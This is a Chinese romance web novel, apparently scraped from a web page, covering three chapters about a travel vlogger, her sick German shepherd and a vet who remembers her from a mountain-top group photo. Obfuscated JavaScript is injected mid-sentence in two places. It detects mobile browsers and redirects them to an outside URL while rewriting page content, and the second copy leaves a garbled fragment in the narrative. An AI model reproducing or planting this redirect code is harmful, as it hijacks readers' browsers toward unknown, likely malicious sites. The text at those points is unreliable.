《毛茸茸的心脏》 1. 暴雨 第一章暴雨 电脑屏幕上,剪辑软件的时间轴密密麻麻。 李朝穗戴上耳机,凑近麦克风,声音瞬间轻快热情起来:“哈喽大家好,我是你们的老朋友,岁岁安!今天带你们逛云栖老街……”录完最后一句,她摘下耳机,揉了揉笑得发酸的脸颊,整个人没了刚才的活泼样。 镜头外的平静,或许才是她最真实的样子。 忽然,一阵刺耳而杂乱的声音从院子里炸开,像是大门受到撞击,又伴又花盆摔落地面的破碎声。李朝穗警觉地看向窗外,随之响起的是岁岁持续的吼叫声。她连忙呵斥住,呼唤岁岁进屋。 起初,她以为是岁岁又在院子里追鸟,德牧兴奋起来的破坏力不亚于导弹,它是个长了长毛的导弹。 可紧接着,熟悉的叫骂声穿透院门狠狠砸了进来,粗粝沙哑,字句粘连,带着本地口音浓重的腔调:“养狗的滚出来!听见没有!” 她神情一变,目光紧盯着院门。 是那个大爷,距离上次物业调解才过去三天,他又来了。自从住进这个小院,她带着岁岁在外散步被王大爷看见,他就一直上门来找麻烦。 岁岁感知到来人的敌意,一直警惕地守在李朝穗身旁,嘴巴紧闭,死盯着院门位置,喉咙里发出不安的呜咽,好像下一秒他敢闯进来,岁岁会毫不留情的上前战斗。 李朝穗将岁岁抱紧怀里,稍微安抚了一下,接着就下口令让它进笼子。在确认笼子门关紧后,她从手机上调出门口的监控录像,来人果然和自己猜的没错。 大门被踢得哐哐作响,震得人心里发慌。 她拿起手机给房东张姐发去消息,得到回复后点开手机录音,手机揣进衣兜,才缓缓拉开门。 门开的瞬间,正抬脚欲踹的大爷一个踉跄,险些扑倒在地。李朝穗眼疾手快地拉着门躲到一旁,和他拉开安全距离,免得待会养狗的事没解决还摊上个讹人的事。 王大爷稳住身形后,那张皱纹密布的脸瞬间涨成了红色,露出一口黄牙就开骂:“你还敢出来啊?!” “我告诉你,今天不把你那条咬人的大狗弄走,我天天来!现在的年轻人啊,嘴上说着是读过书的大学生,我看一点事理都不懂,真不知道爸妈是怎么教养你的!”说话间,唾沫星子几乎要喷到李朝穗脸上。 李朝穗向后退了半步,将刚刚他拉进的距离再次扩大,保持着安全距离。 她没去理会他的话,只是平静地抬眼:“王大爷,也是劳烦您隔几天要走那么远一段路来找我了哈。这里是非禁养区,我的证件齐全。更何况,我出门牵绳,从不扰民,您还有什么不满意的?” 对方听到她的话控制不住地想发疯,“不满意?我全都不满意!”老头的手指几乎要戳到她鼻尖上,“我上次在小区里见到那畜生,吓得我心脏病都快犯了,没让你赔钱都不错了。” 李朝穗低头看了他一眼他中气十足的模样,嘴角微微抽动了一下:“您这不是挺精神的吗?” “你!”王大爷被噎了一下,脸涨成了猪肝色,他迈步就要往里闯,伸手去推李朝穗的肩膀。 李朝穗见状,往旁边一闪,躲开了他的手,但人还是挡在门口。她没慌,语气从刚才的柔和变得严肃,“王大爷,您再往前一步,我就报警。” “报啊!你报啊!”老头张牙舞爪地挥舞着手臂,“警察来了我也不怕!天王老子来了我也不怕!” 她不紧不慢地从口袋掏出手机,划了两下,紧接着把摄像头对准了他,并开启了解说模式:“大家快看看啊,六十多岁老大爷想要进小姑娘家里,不给进就砸东西动手。” “你干嘛!”王大爷反应过来她在干嘛之后,立马用手臂遮住自己的脸。 “王大爷,您住这小区二十年了,是吧?” “你猜我要是把这段视频发到小区业主群里,大家会怎么评价您?” 李朝穗把手机收了起来,歪了歪头,像是聊家常一样:“您这么大年纪了,对着一个小姑娘又骂又推的,还想进家门,周围的叔叔阿姨知道了,是会支持你,还是会觉得你欺负人?” “你、你敢!”老头气急了,这么个小姑娘,看着柔柔弱弱的,没想到这么硬气。 李朝穗笑了一下,“我有什么不敢的?”她假装思索了一下,继续说:“您儿子我记得也在群里吧?听说他是旁边一个高中的老师,这事要是闹到他工作单位去,不太好吧?” 王大爷有些慌了,他的嘴唇哆嗦了两下,想说什么,又咽回去了。转过身灰溜溜走了,嘴里还骂骂咧咧的,“年纪轻轻不孝敬爹妈反倒去伺候一条狗,看你那畜生还能活几天!早晚病死在你面前!” 嘴里刚说完诅咒人的话,结果下一秒自己就被脚下的石子绊倒在地。 “哎哟!” 老头一个趔趄,整个人往后仰,一屁股摔在了地上。 李朝穗愣了一下,下意识想走上前去扶,又想到他刚才说的话,忍住了。这样的人,不值得她帮。她直直地站在原地,看着王大爷狼狈的撑着手臂爬起来,捂着屁股离开。 门关上的那一刻,李朝穗才缓缓松了口气,刚才强撑的镇定一点点卸下来。 好累啊,和人打交道真的好累啊。 她拍了拍自己身上的衣服,脏东西和坏心情随着动作被拍落在地。 进客厅的瞬间,原本安静待在笼子里的岁岁立马发出焦急的“嘤嘤”声,大爪子不停地扒拉着笼子。李朝穗打开笼子,岁岁就扑倒她身上不停地嗅、舔,还一个劲的往她怀里钻。 “好啦好啦,姐姐没事,岁岁肯定很着急吧。”她温柔地抚摸着岁岁露出的肚皮,看着它撒娇的傻样,脸上露出轻松的笑。 李朝穗找来毛发梳,坐在地上边给它梳毛边跟它说着自己是如何“击退”王大爷的:“活该他摔个狗吃屎!哈哈哈……” 梳子从它宽厚的背脊滑到后腿,动作轻柔而规律。梳到右后腿关节上方时,梳子遇到了一丝微不可察的停滞,李朝穗动作一顿,原本充满笑意的脸也慢慢平静下来。 她放下梳子用手扒开那处毛发,试探性用手指按压下去,没想到岁岁直接挣扎着起身,她连忙哄着岁岁继续躺下,想再次检查。 一种冰冷的直觉瞬间窜过脊柱,李朝穗不可抑制地开始发抖。她再一次用手指触摸那处,指尖触摸到一个坚硬的团块,大小比鸡蛋小一点。 这是……什么? 时间在这一刻仿佛停滞,周围的一切,包括声音,全都消失了。 她脑子里“嗡”的一声,只剩下绝对的寂静。 “病死在你面前!”那道恶毒而刺耳的声音毫无预兆的出现在脑海里,李朝穗直愣愣地望着面前的岁岁。 诅咒成真了吗? “不……不会的。”泪水夺眶而出,李朝穗无力地说着安慰自己的话,抱着岁岁的手微微发抖。她没有犹豫,立刻拿起身边的手机,搜索最近的宠物医院,起身收拾出门的东西。 岁岁是奶奶留给她的,是她如今唯一的家人。 它绝对不能有事。 赶去医院的路上她恍惚间又回到高三的暑假,奶奶把巴掌大的岁岁塞进她怀里,嘴里念叨着“以后我们就是一家人了,奶奶不在了你要好好保护姐姐。”她皱着眉喊奶奶,让她赶紧把不吉利的话呸掉。 转眼五年了,岁岁代替奶奶守着她五年了。 - 室外流动的风不知什么时候悄悄降了温度,吹得人微微发抖。现在还没到晚饭时间,头顶的天已经是黑压压一片,云市近来多冷雨,看样子今晚是免不了一场暴雨了。 大风天的门格外难开,她双手抵在把手上,几乎是用肩膀顶开爱德宠物医院那扇厚重的玻璃门时,一阵狂风抢先冲了进去,卷得前台的纸张哗啦啦散落一地。 听到动静,刚从走廊尽头出来的护士便急忙跑过来。 “您好,请问有什么可以帮助您的吗?”护士引她到沙发坐下,适时地从旁边饮水机接来一杯温水。 眼前带着德牧的女生,身上的羊绒开衫、针织围巾胡乱裹在身上,兴许是来时路上被吹起又慌忙整理的。 齐肩的榛果色中长发被吹得凌乱不堪,原本应该蓬松的刘海此时乱糟糟的挡在眼前,看向人时的眼睛还泛着红,让人难免多看几眼。 李朝穗手捧着冒着热气的一次性纸杯,先前冰冷的寒意此刻有所缓解,“它右腿关节上有个硬块,大概鸡蛋大小,摸起来会痛。”她边描述边指着岁岁相应的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495825|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。 护士边记录边点头,迅速递来挂号单和病历本:“填好信息之后直接去陈医生诊室,走廊尽头右转。” “好,谢谢。” 李朝穗接过资料起身,岁岁乖乖地跟在她脚边,尾巴垂着,似乎也感受到了主人的紧张。 她走的很急,满脑子都是刚才在家里摸到的肿块触感,手里的资料被她攥得皱巴巴的。 或许是紧张过度,又或许穿堂风做了祟,最上面那张挂号单从指尖滑落,飘飘飘扬扬地落在地上。 她慌忙俯身去捡,怀里的其他纸张又顺势滑出去几张,散落一地。 就在这时,一道身影从走廊那头快步走近。 被发丝遮住大半的视线里,最先出现的是一双深蓝色大拖鞋,鞋面宽大,踩在瓷砖上发出轻微的“啪嗒”声,裤脚松松垮垮地堆在鞋面上方。 “需要帮忙吗?”低沉的声音从头顶落下来。 她还没来得及抬头,一只骨节分明的手已经拾起纸张,抚平边角,递到她面前。 “谢谢……”她接过,下意识抬头。目光相撞的瞬间,她注意到对方明显顿了一下。 男人正微微弯着腰,和她保持着差不多平时的高度。白大褂敞着怀,露出里面的深蓝色手术服,V领下是清晰的锁骨和隐隐约约的胸膛。 年轻的男医生,身量很高,面部线条干净利落,高挺的鼻梁上架着一副格格不入的粗黑框眼镜,镜片泛着蓝光,遮住深邃冷峻的眉眼。下巴皮肤被一层淡淡的胡青覆盖,嘴唇却意外的饱满红润,给这张偏冷的脸添了点柔和。 李朝穗忍不住多停留了几秒,倒不是因为长相,而是……明明是第一次见面,为什么他看自己的眼神那么奇怪呢? 好像,认识她一样。 李朝穗攥紧手里的资料:“请问,陈医生的诊室在哪?” 男人直起身,目光从她脸上移开,语气平淡:“这边,跟我来吧。”他说完就转身往前走,步子不大,刚好是她能跟上的速度。 李朝穗赶紧跟上去,整颗心都拴在岁岁那条不太敢用力的腿上,自然没注意到前面的人走路节奏几乎和她同步,没注意到他在拐弯时特意等她跟上,更没注意到他推开诊室门时,侧身让到一边,目光不动声色地落在她的脸上。 问诊开始,门被女孩关上,许琮终于收回了目光,迈步离开诊室,回到了自己小小的休息室。 他关上门,摘下戴了一整天的眼镜,缓步走到桌前。桌上干净整洁,物品摆放有序,唯一显眼的,是角落一个边框已经被磨得有些发白的木质小相框。 他拿起相框,拇指习惯性反复摩挲着边缘。 照片拍摄于藏林源雪山之巅,皑皑白雪和鲜艳的经幡作底,一群人裹着羽绒服挤在一处,笑容都被冷风与高反弄得有些僵硬。 最右侧的女孩,一头黑色长发被狂风掀得凌乱,一边手摸着靠在腿边的黑色德牧,一边手比着耶,笑得眉眼弯弯的,鼻尖冻得通红,整个人亮的刺眼。 最左边是他,一身黑,帽子压得极低,加上冲锋衣的领子,遮住了大半张脸,神情平淡,脸也没朝着正前方,像是在看镜头,又像是在看别的什么地方。 照片右下角“2023.11.19”的字迹还未褪去,那是三年前,他刚辞职独自旅行,在雪山之巅山脚下偶遇这支队伍,登顶后被领队拉着拍了这张合照。拍完就散了,连名字都没留下一个。 他以为那也就一张照片的事。 回来之后,他鬼使神差把照片洗了出来,随手放在桌上。有时候加班到很晚,回到休息室看到照片里女孩和德牧傻乎乎的样子,会莫名其妙地笑一下。 后来照片就一直放在那,他没想过要收起来,也没想过为什么。 直到今天。 在走廊里看见她蹲在地上捡资料,头发乱糟糟的,眼眶红红的,和照片上的女孩判若两人,但他还是一眼就认出来了。 或者说,他一直都记得。 许琮把相框放回桌上,指尖在玻璃面上轻轻点了几下,正好就是女孩的位置。 他低头笑了一声,自言自语似的: “得去还愿了。” “菩萨这回真把你和我的缘分续上了。” 2. 缘起 第二章缘起 诊室里- “右后腿关节这个位置,”陈医生用手指按了按,“能摸到一个明显的肿块,先做个B超和细针抽吸,看看情况吧。” 李朝穗点头,带着岁岁离开。检查做的很快,岁岁全程都很配合,只在被按住后腿的时候哼唧了几声,把脑袋往她怀里拱。 陈医生把影像调出来,又翻出显微镜下拍的细胞涂片照片,眉头微微皱起。 “这个位置不太好。”他这支屏幕上那团深色的区域,“肿块血供非常丰富,而且紧贴着大血管。虽然从形态上看,良性的可能性大,但存在急性破裂的风险。一旦破了,会引发大出血,情况会很危险。” 李朝穗的手不自觉地攥紧了岁岁的牵引绳,“那怎么办?” “越早手术越好。”陈医生看了看时间,“今天让它住院,开始禁食禁水,明天一早就安排手术。术中有可能会出现大出血,你需要自己联系好血源,以防万一。” “至于良性还是恶性,等切下来送病理,一周左右出结果。” “好。”几乎没有任何犹豫就答应了下来,她低头看了眼趴在地上的岁岁,默默在心里祈祷一切顺利,也不断强迫自己冷静,医生已经给出了合适的治疗方案,不要再被情绪绊住脚步。 办理住院手续的时候,李朝穗的手一直在抖,每一步都像踩在棉花上。把岁岁送进住院笼子的时候,李朝穗在那看了它好久,直到觉得腿有些发麻了,才转身往楼下走。 楼梯很长,灯光白得刺眼,她快到达楼底,忽然脚下一阵发软。 一个踉跄,整个人不受控制的往前栽,她本能的伸手去抓旁边的扶手,却什么都没有抓到。 一只手从侧面伸过来,稳稳地扣住了她的上臂,力道很大,硬生生把她拽住了。 “抓住扶手。” 低沉的嗓音从头顶传来,语气带着些不可忽视的焦急感。李朝穗就这么晕乎乎地被人引导着,手指碰到了冰凉的金属栏杆,死死攥住。 她整个人趴在扶手上,额头抵着手背,全身上下的毛孔都在舒张,汗水疯狂涌出,眼前一阵阵发黑,耳朵里也在嗡嗡响,刚稳定的身体似乎又要下落。 “你还好吗?”那个声音又问了一遍,比刚才更近了一些,也更清晰了一些。 她知道这是低血糖犯了,以前有过一次倒在地上,之后的生活里就格外注意。今天早上起床没什么胃口,只喝了一杯椰子水,中午到现在,她一口东西都没吃过。 她想求助,但她真的说不出话。 仅存的一点理智在脑子里叫嚣:完蛋了……完蛋了…… 完蛋进行曲还没进行完,一只手就搭上了她的肩膀。 “靠着我。” 容不得她多想,那只手微微用力,把她整个人往旁边带,李朝穗几乎是半靠着那个人的身体,被架着往前走。眼前的视线已经模糊,在整个人陷进柔软的沙发时,她只记得一股淡淡的青柠味,混杂着人身上独特的温暖干燥感。 “张嘴。” 有什么东西被塞进了她嘴里。 甜的。 椰子味。 独特的椰子甜味在苦涩的口腔化开,甜味一点点渗进喉咙里,像雪山脚下细细的溪流,滋润她干涸的身体。 糖纸似乎没来得及剥干净,有一小块粘在了她的嘴唇上,被人轻轻拈走了,只留下温热的触感。 心跳渐渐平稳,眼前的黑雾一点点褪去,透过眼皮的亮光变得柔和。李朝穗睁开眼,天花板上是一盏普通的日光灯,边缘有些发黄,她眨了眨眼睛,尝试动了动身体,慢慢撑起身子。 许琮站在沙发边的桌子旁边,半靠着桌沿,手里拿着一个未拆封的面包,目光关注着她的动作。他还是那身打扮,鼻梁上的眼镜被折叠起来放在手边,脸上的胡渣像是刮过了,显得白净许多。 “醒了?”他把面包和一杯热水递过来,却没催促,“先吃点东西,你低血糖了。” 李朝穗撑着沙发坐起来,这才发现自己后颈垫着一个抱枕,身上还搭着意见叠好的白大褂。她接过面包,声音还有些小:“谢谢……” 身上的衣服已经被她叠放在旁边,李朝穗坐在沙发上,手不知道该放哪,背也不知道该不该往后靠,只能梗着腰,尽可能把自己缩成一团,不要碰到其他东西。她慢吞吞地撕开包装,却没急着吃。 余光里的许琮,好像在看着她,意识到这点,她的耳根像烧起来一样开始发热。 怎么办,好像给人添麻烦了…… 许琮没说话,只是把那杯热水放回桌上。 李朝穗硬着头皮,小口小口的吃着手里的面包,全麦面包吃到一半的时候会有点干,她尝试了好几次都没咽下去。旁边的许琮似是发现了她的处境,主动把温水递到她面前。 或许是看气氛太冷清,许琮开始主动搭话。有了交流,李朝穗也当了顺坡驴,顺势缓解自己的尴尬。 “朝穗?”许琮迟疑了一下,“我能这么叫你吗?” “可以可以,没关系的,连名带姓叫也没问题。”李朝穗嚼着面包,有些口齿不清的回应到。 “许医生,听你的口音不像本地人啊,怎么就在这里工作了呢?”她看着正在整理衣物的许琮,有些好奇。 许琮转头看了她一眼,嘴角动了动:“你也不像。” “嗯,我是来云栖旅游的,租了个半年的院子。我平时会写写游记,拍拍视频什么的……” “旅游博主?”许琮问。 李朝穗听到这个称呼,有些不好意思地笑了笑:“差不多吧。走到哪儿拍到哪儿……算是靠这个吃饭。” 许琮点点头,没再追问。 李朝穗把吃完的面包袋子折好握在手里,目光在房间里转了一圈。休息室不大,桌上摆着简单办公用品,还有—— 她的视线停住了,停在桌上正中间那个巴掌大的相框。 “许医生,你也去过藏林源雪山之巅啊?”她脱口而出,看起来有些兴奋。 许琮顺着她的目光看过去,顿了一下,然后伸手把相框拿起来,嘴角带着一点笑意:“嗯,三年前去的。你也去过?” “去过!”李朝穗吃完面包,全然没了刚才病殃殃的样子,提到感兴趣的话题,来了兴致,“我那年大一,带着岁岁一起去的……” 许琮一把抓过相框,故意转了半圈递到她面前,让她更容易看到最右边的女孩,自己也悄悄离她更近了一点。 照片背景是非常熟悉的雪山和经幡,与一众旅游照一样,也是一群人裹着厚厚的羽绒服挤在一起。视线扫到了照片的时间,2023年11月19日,这个日期,怎么那么熟悉。她仔细打量着照片,视线停在最右边带着德牧的女孩身上。 是她自己。 李朝穗瞪大了眼睛,来来回回看了好几遍,确认自己没有认错。 “这是我!”她指着照片里的女孩,声音都惊讶到变了调,“这个是我!旁边这个是岁岁!你今天看到过的那条黑色德牧!” “天呐,这也太巧了吧……”她发出感叹,扭头看向许琮,眼睛里全是不可思议。 许琮顺着她的手指的方向看过去,愣了一下。他凑近了一点,盯着照片上的女孩看了好几秒,然后抬起头,表情和她一样惊讶:“还真是你……确实很巧。” “许医生,你也在照片里吧?”李朝穗低下头,又在照片里找着什么,指着最左边裹得严严实实的男人问:“这是你吗?” 许琮看着她兴奋的样子,不可察觉地勾了勾嘴角:“是,你找对了。” “许医生,我可以拍张照吗?”李朝穗掏出手机,想拍下美妙的巧合,看到许琮点头后才打开摄像头拍了照。直到把相框放回桌上,李朝穗满是不可思议,“世界上怎么会有这么巧的事啊,同一张合照里,三年后在这里认出来,简直是太有缘分了。” 她说着说着,自己都觉得有点离谱,忍不住笑出声来。许琮看着她笑,也跟着笑。 他当然知道是同一张照片。 “缘分这东西,有时候是挺巧的。”他语气淡淡的,附和着女孩的话。 窗外的天色不知道什么时候暗了下来,休息室里的灯光亮着,把两个人的影子投在地板上,交叠在一起。 休息的时间已经够久,李朝穗看了眼手机上的时间,起身:“许医生,今天的事谢谢你……” “顺手的事,手里的垃圾给我吧。”许琮打断她,拿过她手心里的面包袋子扔进垃圾桶里,“要走了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495826|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,该回去了,明天岁岁手术,我得回去准备东西。” “我送你,等我换个衣服。”许琮拿出柜子里的私服,示意她出门等。 没多久,两人一前一后从休息室方向出来。已是黄昏后,医院大厅比白天安静了很多,只剩下前台和一个护士在整理东西。 玻璃大门外的天已经彻底黑了,隔着门都能听到“哗哗”的雨声,大雨如倾倒一般直冲大地,狂风和雷电交织,遮盖住细小的说话声。 “你怎么回去?”许琮拿着伞在她身后问。 “打车吧……”李朝穗掏出手机,语气有点虚,“应该能打到。” 许琮没说话,只是低头看了她一眼,那双墨色眼睛里,有什么东西一闪而过。他向前几步,推开玻璃门,雨声瞬间大了好几倍。 “我送你。”他对着李朝穗说,声音不大,但每个字都很清晰,“这个天气,你打车不方便,我正好顺路。” 李朝穗张嘴想拒绝,但对上他的目光,到嘴边的话又咽了回去。大雨倾盆,她出门什么都没带,确实需要帮忙。而且……他,挺值得信任的吧。 “那麻烦你了。” 许琮打开伞,示意她到身边。两个大人挤在一把单人伞里,若是情侣还好些,可以相互依偎,可他们偏偏是刚认识没一会的“有缘人”。伞不加掩饰地向她倾斜,雨点打在他肩上,尽管是黑色的夹克,却也能清晰的看见湿透的地方。 许琮拉开副驾驶,待她上车后,自己才绕到驾驶座坐下。 “地址?” “憧憬花园C区28号。” 车内的空气带着雨水的清冽,以及一股淡淡的皮革味,干燥的暖气源源不断地从风口灌入吹散人身上的潮气。车里的空间太小,两个人的呼吸声都能听得见。她不知道该说点什么,又怕不说话显得太奇怪,只好假装看窗外的雨。 许琮主动和李朝穗聊起岁岁的病情,安慰她不用太紧张,陈医生在这方面很有经验,但他的事情太多,明天手术后住院修养的后续已经交给他了,到时候由许琮和她对接。 不知不觉间,车子已经在家门口稳稳停下。 “许医生,今天真的太谢谢你了。要不……等岁岁好了,我请你吃饭吧。”李朝穗满脸歉意,搭放在腿上的指尖微微蜷起,侧身看着驾驶室上熟练开车的男人。 许琮目光注视着她,嘴角漾起一抹笑:“好,等你方便。”随即拿起一旁的手机,打开二维码,递到她面前:“我的联系方式,如果明天手术需要输血,立刻给我打电话。” 好友申请成功在许琮的手机里弹出,他先一步撑着伞下车,打开副驾驶的门,把李朝穗也笼罩在伞下,陪着她打开院子的入户门。 “快进去吧,别淋到了。”许琮知道不好再送人家到屋内,便在院门站定,温柔催促到。直到看着她带小跑进家,他才把入户门关上,转身离去。 引擎声混入雨夜,28号门前又恢复平静。 - 落地窗外是斑斓的灯光,浅灰色窗帘被风吹得晃又晃,男人站在半开放式厨房里,指尖在手机屏幕上敲敲点点,翻出了通讯录,拨了个电话出去。 响了没几声,那头接了。 “老陈,是我。” “嗯?”陈医生的声音带着些鼻音,“什么事儿啊?” “你最近事情也挺多的吧,下午收的那条德牧,问题严重吗?”许琮听着那头的回复,末了继续说:“后续住院我来跟进吧,你负责手术就行。” 安静了两秒。 “哟,你小子什么时候这么主动了啊?”陈医生的声音忽然带上了点意味不明的笑意,人虽中年,但这点悟性还是有的。 “那狗主人你认识?” “不认识。”许琮说话的语气没什么起伏。 “那你——” “你到底答不答应?”许琮打断他的话。 陈医生低低地笑,仿佛答案已经出现。“行,你跟进就你跟进,回头我把检查结果发给你,明天手术之后,就交给你负责。” “谢了,回头给你送酒。” “不客气不客气,有酒都好说。对了——”陈医生话锋一转,“那位李小姐,联系方式要我给你吗?” “不用。” 3. 破晓 第三章破晓 手术定在早上九点。 此时,距离岁岁进手术室已经过去了半小时,手术室的红灯依旧亮着。 她坐在门口的椅子上,盯着灯发呆。今早在候诊厅碰见一个拉布拉多家长,对方给她介绍了个“互助血库”的联系方式,说是专门给宠物手术备血的,什么都好,就是价格高。 李朝穗看她热情,不好意思拒绝,就礼貌拍照留下了联系方式,可心里却总觉得哪里不太对劲。 “咔哒”,手术门开了。 护士语气很急:“岁岁家长,术中大出血,需要立刻输血,DEA1型血。您这边有备用的血源渠道吗?” 李朝穗“腾”地站起来,连连应声,心脏像被人一把攥住了。她脑子里飞速转过那张名片,手指却已经下意识地点开拨号键盘。 “嘟——嘟——”每一秒都被拉的漫长,李朝穗紧张的压抑着自己的呼吸。 电话接通了,那头用低沉沙哑地声音确认:“李朝穗?”,背景传来窸窸窣窣的布料摩擦声。 “许医生!岁岁手术大出血了,需要血,DEA1型的……我、我联系不到……”她传达护士告诉她的话,声音抖得不成样子。 说完后电话那头静默了一瞬,随即响起他的声音:“知道了,你待在那别动,我来联系。”事情交代清楚后立即挂断电话,没有一句多余的安慰。 李朝穗攥着手机的手指还在发抖,但心里那块悬了一早上的石头,莫名其妙地落了一半。 休息室里原本躺在小床上的许琮,此时已经穿戴整齐,屏幕微亮的光照在他更显疲惫的脸上,眼睛跟着屏幕挪动时露出显眼的红血丝,翻出电话簿中一个备注名为“安心基地珊姐”的号码拨了过去。 “珊姐,紧急情况,能带几只70斤以上的大型犬来帮个忙吗?” 对面传来一个干脆利落的女声:“没问题,我现在就过去,等着。” - 不到二十分钟,一辆灰扑扑的面包车刹停在医院门口。 车门拉开,先跳下来一个穿旧冲锋衣的女人,嗓门比人先到:“许琮!狗带来了!”紧接着三条大狗从车上蹦下来,被女人一手拽着牵引绳,浩浩荡荡地往医院里冲。 许琮已经从楼梯口迎过来,扫了一眼三条狗,冲护士点了下头:“带去做交叉配血,优先罗威纳。” 护士接过牵引绳,把三条狗带进处置室。李朝穗站在旁边,看着罗威纳被牵进处置室。它安安静静地趴在台子上,针头扎进前腿,连哼都没哼一声,只是扭头舔了一下护士的手。 十分钟后,护士拿着报告出来,脸色不太好看。 “许医生,罗威纳、阿拉斯加血型不匹配。” 许琮接过报告扫了一眼,眉头皱了起来:“金毛呢?” 李朝穗腿都软了,她后退几步靠在墙上,指甲深深地陷进掌心里,逼自己不要慌。 护士低头看了眼手里的单子,“金毛体重不达标,差了将近十斤,抽血风险太高。” “也就是说,”李朝穗的声音已经干涩得不像样子,“没有能用的?” 没有人回应她,许琮也沉默不语,似乎在思索什么。 李朝穗突然想到了什么,对许琮说“互助血库”的事,紧接着就要联系对方。她管不了这么多了,岁岁还在里面。 许琮听到她嘴里的血库,表情即刻变得严肃起来,快步走到她身旁,按住她即将拨号的手。 “你干什么!”李朝穗不明白为什么许琮要来拦着她,现下已经没有办法了。 “许医生,还有一条合适的!”门口的珊姐焦急地冲进来,“在你投资的马场,有只退役的工作犬,也是德牧,八十斤,我刚才打电话让人送过来了。” 听到这个消息,李朝穗的心中仍是不安。手腕依旧被许琮抓着,她蓄满泪花的眼望着他,“如果……也不匹配呢?” 许琮看着她,那双没了眼镜遮挡的眼睛里,映着女孩的模样。 “没有如果。”他说。 等待的每一秒都是煎熬,时间一点点流逝。 没过多久,珊姐从门口接到了那只德牧,交给护士进行配型。李朝穗的心始终在揪着,胸口也像卡了口气一样,堵得她喘不过气,她好像又回到了那年等在奶奶病房门口的时刻。 处置室门开了,护士探出头来,“配型成功!” 一口浊气从嘴里叹出,李朝穗像得了水的鱼,恢复了生机。 半小时后,手术灯灭了,陈医生推门出来:“手术很成功,接下来就是住院一周,观察术后恢复情况。” 李朝穗连连道谢,把岁岁送到病房后,她来门口找即将离开的珊姐,许琮也在一旁。 珊姐性格直爽,两人聊了几句后已然熟络,加了联系方式,离别前还来了个拥抱,李朝穗承诺会给基地送物资,以示感谢。 面对许琮时,就没有那么自然,毕竟刚才在处置室里,她说话的态度算不上好。她硬着头皮道了谢,得到对方的回应后,怯生生开口:“许医生,之前说的请客……我能不能改成三顿啊?” “嗯?”似是没听清她说的话,许琮发出疑惑的音调,眼睛盯着她的表情,似是想从里面找出些答案。 李朝穗瞬间感觉气血上涌,耳朵持续发热。 太尴尬了……三顿饭是不是太主动了,他会不会觉得我在套近乎?刚刚的事,好像还没跟他道歉呢…… 她偏过头假装看别处,支支吾吾地从嘴里又挤出一句:“三顿饭,可以请你吃三顿饭吗?谢谢你帮了我。” 在她看不见的视角,男人的嘴角悄悄上扬,又迅速压了下去。 “好啊。” - 一周过得很快。 岁岁的伤口恢复得不错,明天就能出院了。李朝穗每天都来,许琮几乎每次都在,忙完了就在旁边站着,偶尔和她聊几句。 这天下午,李朝穗刚到医院门口,就听见大厅里有人嚷嚷。 她推门进去,看见一个中年男人站在前台,手里牵着一条小型犬。男人嗓门很大,唾沫横飞:“我这狗是路上捡的流浪狗,你们医院不是有免费救助的项目吗?赶紧给治治!” 前台护士一脸为难:“先生,我们需要先确认一下——” “你们是不是不想救?招牌上写得那么好听,都是骗人的?” 许琮从走廊那头走过来,和她的眼神交汇,随即步子加快来到前台旁边,了解了一下现场情况。 许琮的语气还算平静,“先生,我们确实有免费救助流浪动物的项目。但需要先登记信息,确认狗的流浪状态——” “评估什么评估?”男人打断他,把手里的牵引绳一拽,小狗被扯得一个踉跄,发出尖细的叫声,“你看看这狗,都病成什么样了!你们要是不想救就直说,我拍个视频发网上,让大家都看看你们这家黑心医院!” 李朝穗站在门口,眉头皱起来,试探着往前走了一步。 许琮余光瞥见她动了,也紧跟着调整了一下,身体微微往她在的方向挪,像是要挡住什么。但他没出声,只是把手从口袋里抽出来,垂在身侧。 李朝穗走近了几步,看清了那条狗。脏兮兮的,缩着尾巴,被男人手上的牵引绳勒得不停挣扎嚎叫。 不过……是不是流浪狗可说不定。 “大哥,”她尽量让声音听起来平和一点,“您捡了流浪狗也是好心,要不先把绳子松一松,你看这狗都疼得直叫唤了。” 男人转过头,上下打量了她一眼。许琮注意到他的目光,下颌的肌肉紧绷了一瞬,忍住没插嘴。 “哟,美女,你也养狗啊?心疼了?”男人笑嘻嘻地往前凑了一步,“你要是心疼,你出钱给它治呗。反正你有钱,看你这一身,不便宜吧?” 说着话,他的眼神往下滑了滑,脸上的笑意更浓,“要不咱俩加个微信,你转我点钱,我拿去给它治病?” 李朝穗的脸色冷下来。 “怎么不说话啊?”男人瞪了一眼突然插进来的许琮,又往前蹭了一步,“刚才不是挺会说的吗?装什么好心……” 许琮往前迈了半步,挡住了半个身子,隔开了两人的距离。但他还没来得及开口,一只手从身后,轻轻搭在了他的手臂上,柔软伴着一丝微热。 是李朝穗。她自己往前走了半步,从许琮身侧探出半个身子,对着那个男人。 “你站那别动。” 她声音不大,但语气却和之前判若两人,冷得像淬了冰。男人一愣,还真站住了。 许琮侧过头,目光在她脸上停了一瞬,又戒备地回到男人身上。她绷着脸,拎着包的手有些许发抖,但眼神却无比坚定。许琮没再往前,只是往她身边靠了半步,成了肩并肩的状态。 李朝穗低头看了一眼那条瑟瑟发抖的小狗,问:“你说这是你捡的流浪狗?” “废话,我骗你干嘛?” “那你挺厉害啊。”李朝穗语气平淡,“刚捡的狗,就知道它没打疫苗、没办狗证。”这话是刚刚男子与前台争执时说的,她默默给记下了。 男人的表情僵得难看。 